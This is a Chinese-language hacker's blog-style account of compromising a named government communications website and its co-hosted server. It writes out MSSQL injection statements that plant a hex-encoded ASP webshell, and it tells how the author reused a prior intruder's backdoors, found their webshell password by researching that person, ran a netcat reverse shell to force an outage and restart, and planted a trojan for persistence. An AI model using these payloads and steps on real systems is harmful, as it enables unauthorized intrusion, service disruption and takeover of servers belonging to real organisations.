文章作者:落叶纷飞[J.L.S.T]
信息来源:安全叶子技术小组[J.Leaves Security Team](
http://00day.cn)
昨天一上Q就接到一个任务,任务目的是对一个通信局网站做安全检测。因为检测的过程比较曲折,于是,我就决定把这个渗透的过程记录下来与大家分享!
一打开网站,我发现站点的页面几乎全是静态的,如图1所示。
于是我就开始baidu hack了,在百度的搜索框中搜索“site:gdca.gov.cn inurl:asp?”,如图2所示。
我找了很久,只找到了一个带参数的地址,但不存在注入漏洞。算了,先找到后台再说吧,在目标网站地址后面加上“/admin”。呵呵,很幸运地返回了管理员登陆页面,如图3所示。
我用了几个常用的默认密码“admin”“admin888”“123456”等在管理后台进行登录,但很不幸,返回的全都是密码错误。然后我用万能密码“'or'='or'”尝试登录,结果返回了SQL错误信息,如图4所示。
经常玩入侵的朋友都应该知道,这是MSSQL报错时返回的信息,看来后台登录页面存在注入漏洞!终于找到突破点了!本来想直接用万能密码直接进后台拿webshell的,但是试了N次都不行,还是注入它算了!于是我就用WSockExpert对其进行抓包,提取到的地址为“
http://www.gdca.gov.cn/admin/main.asp?pwd=asd&submit=%C8%B7++%B6%A8&username=aa”,发包的类型为post,把这个地址放在阿D-SQL注入工具里进行注入检测,居然提示没有注入漏洞!晕,经过一轮测试,发现只有NBSI和穿山甲pangolin能对这个注入点进行注入,原因是其他的注入工具没有自定义发包类型的功能,所以对于post类型的注入点它们就傻眼了。用NBSI检测得到注入点的权限为DB_OWNER,如图5所示。
呵呵,应该很快能拿下了!用NBSI的列目录得到网站的根目录为“d:\gdca\”,思路立刻就有了,使用以下差异备份语句就可以获得一个shell了:
1、';alter database GDCA_Wa set RECOVERY FULL--
2、';create table cmd (a image)--
3、';backup log GDCA_Wa to disk = 'c:\cmd' with init--
4、';insert into cmd (a) values (0x3c002500650078006500630075007400650020007200650071007500650073007400280022006c002200290025003e00)--
5、';backup log GDCA_Wa to disk = 'd:\gdca\343434.asp'--
6、';drop table cmd--
“0x3c002500650078006500630075007400650020007200650071007500650073007400280022006c002200290025003e00”这段16进制的字符串的原文是“<%execute request("l")%>”,结果没有备份成功。然后我又用getwebshell 2.0进行log差异备份,但是发现根本不能备份成功,开始我还以为是管理员禁止了MSSQL的备份功能,后来仔细想了一下,可能是因为注入点的发包类型为post,而备份工具是用get的方式进行差异备份的。于是,我决定利用旁注找到别的网站的常规注入点再进行进一步的入侵,打开“
http://www.114best.com/ip/”,查询后发现目标的服务器仅有两个网站,如图6所示。
打开“
http://www.gdis.cn/”,居然很轻松的找到了后台和一个注入点,如图7所示。
后台不存在弱口令和注入漏洞,所以我再次操起getwebshell 2.0进行差异备份,备份出来后发现一句话竟然不能用,无论怎么变形都会显示图8的现象。
造成这种情况的原因有两个,一、管理员设置了MSSQL在备份数据库的时候过滤掉“<”或“>”;二、数据库中就存在类似于“<%notdown”这样的防下载表。思路又一次中断了。
经过两分钟的思考,我决定想办法进入这两个网站中其中一个的后台拿shell。在猜解“
http://www.gdca.gov.cn/”的表的时候,注入工具竟然发生了意外,多次尝试都是同样的结果;用穿山甲pangolin得到“
http://www.gdis.cn/”的后台管理员帐号和密码均为一个空格,而我在登录后台后却返回一片空白。4分钟后,我又想到了一个方法,就是想通过注入点来列出“
http://www.gdis.cn/”的admin目录下的文件,看有没有上传文件的功能页,有的话就试试上传漏洞,因为我已经登录后台,session已经满足了,所以应该能使用后台管理功能的。但很遗憾,没有发现上传文件的功能页。
唉,难道就这样放弃吗?这时,又一个点子产生了!思路就是通过列目录来查找前人入侵时留下的后门,呵呵。经过近1小时的查找,我终于在“
http://www.gdis.cn/”的admin目录下发现一个可疑文件w.asp,打开后如图9所示。
呵呵,看来是前面的入侵者通过差异备份获得的一句话木马,OK现在我们只要猜出它的密码就能拿到一个webshell了!打开lake2的一句话木马连接端,用一些一句话木马常用的密码来一个个的试,但均以失败告终。
思路中断了。神啊,怎么你要这样耍我啊?忽然,我脑里闪过一个念头,一般的人在获得了一句话木马后,应该会上传大马吧?而且大马很可能和一句话是同目录的!于是我又开始在admin目录查找可以的文件。功夫不忘有心人,一个叫ad.asp的文件居然是newmm小马!如图10所示。
呵呵,这下就能拿到webshell了!但是很遗憾,无论写什么文件都提示失败,这时,我的心情彻底的掉下了谷底。喝了杯水,平复了一下心情后,继续作战!这回,终于给我发现到一个大马了,文件是add.asp,如图11所示。
但是我们怎么知道密码呢?一般的入侵者都会用自己的网名、QQ或邮箱前缀作为自己webshell的密码,而这个入侵者的网名有两个,一个是“LcySun”还有一个是“冰冷的太阳”,接下来,就要施展社会工程学的时候了!首先要获得这个入侵者的QQ和邮箱,而这个大马就有他的blog连接,我打开看了一下并没有什么有用的信息。那么就利用baidu hack来弄他的资料出来吧!打开
www.baidu.com,输入“icysun 黑客”,这里大家可能会问为什么要加“黑客”这个关键词,原因很简单,我们要的是他的资料,网上叫icysun的人可能很多(后来才知道我的一个朋友和他挺熟的,早知道就直接问密码了=<),但接触网络安全的可能就他一个,所以我加上了“黑客”这个关键词。结果,我在一个贴吧里找到了他的信息,那是他入侵了一个网站后留下的信息,如图12所示。
从那则信息得到这个叫icysun的入侵者的QQ是“3600*****”、邮箱是“3600*****@vip.qq.com”或“
icysun@vip.qq.com”,于是我用“3600*****”和“icysun”作为密码登录,结果用“icysun”作为密码时登陆成功,如图13所示。
用别人的webshell总是不那么习惯,于是我就上传了一个自己写的webshell,用着就是舒服,呵呵!webshell的权限很大,开了3389终端服务但不支持外连,不能直接执行命令,但支持wscript,这就等于能执行命令啦!看来提权有望了!打开“C:\Program Files”目录,发现安装了Resin和JDK,难道支持jsp?如果支持jsp的话很可能可以直接执行系统命令哦!但当我上传了一个jsp webshell后,发现服务器并不支持jsp。jsp不行asp.net和php总该行吧?谁知服务器真的不支持php和asp.net,郁闷。
然后我又想利用SA来提权,如果能找到SA帐户的话,那么服务器应该就能拿下了!但我在整个服务器找了半天也没找到SA的帐号,然后我又想利用pcanywhere、Radmin之类的第三方软件来提权,但pcanywhere和Radmin都没有安装。但是再找了一会,在D盘发现了一个叫serv-u的文件夹,我尝试打开却提示没有权限,不管那么多了,直接提权试试吧!立即用goldsun的asp提权工具进行提权,但是提权不成功,我又用之前自己写的asp提权工具进行提权,结果同样是无功而返。扫描了一下端口,发现服务器打开了43958端口,但没有打开21端口,怪不得没能提权成功(但也不排除管理员改了密码!)。提权思路陷入困境!
还是先静一静心吧!然后我就到黑防论坛闲逛,这居然让我想起ms08025本地提权漏洞还没有试!马上找到黑防杂志的那个exp,尝试提权。可是很不幸的,提权不成功了,看来服务器修补了漏洞。
整理了一下思路,不知道替换服务和写文件进“开始-->启动”项目的提权方法行不行呢?不管了,试试再说吧!我配置了一个上兴4.7木马,在准备上传的时候才记起服务器是Win2003系统,win2003默认不能上传超过200K的文件,不过如果能修改“c:\windows\system32\inesrv”目录下的“metaba se.xml”文件的话,我们就可以上传大于200K的文件了,尝试打开“c:\windows\system32\inesrv”这个目录,居然成功进入了!于是我找到“metaba se.xml”这个文件,编辑它,然后找到“ASPMaxRequestEntityAllowed”这项,把默认的204800修改为20480000(即20M),结果保存成功!如图14所示。
现在,只要IIS一重启,我们就可以上传大于200K的文件了!但是不可能要我傻傻的等待服务器重启吧?于是我就想到了用nc把服务器的80端口反弹来我的机器,这样的话,网站就不能正常浏览,管理员就很有可能会重启IIS了。马上上传了一个nc到“c:\windows\system32”目录,在服务器端输入“c:\windows\system32\nc.exe -e 我的IP 2006”,然后在本地用NC监听2006端口,命令为“nc -vv -l -p 2006”,不一会儿,我监听的2006端口就有回应了。尝试访问“
http://www.gdca.gov.cn/”,发现不能正常访问,现在就出去看看电视吧,只要看到本机的nc断了连接,就可以开始继续渗透了。
经过几小时的等待,我本机的nc终于断连接了,马上登陆webshell,在“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”目录中上传了我的上兴,接下来的事情同样是等待。在等待的过程中,我突发奇想,管理员会不会不是重启IIS而是重启了整个服务器呢?于是使用systeminfo命令证实了我的猜测。如图15所示。
从图中可以看出,系统启动时间为0天3小时52分16秒,那么就意味着管理员是把整个服务器重启掉了,而不是单单重启IIS。嘿嘿,那我们就再来用NC反弹一次端口吧!重复一次反弹端口的步骤,然后我就约了几个朋友出去玩了。晚上回来的时候,我发现目标服务器成功上线!至此,整台服务器就拿下了。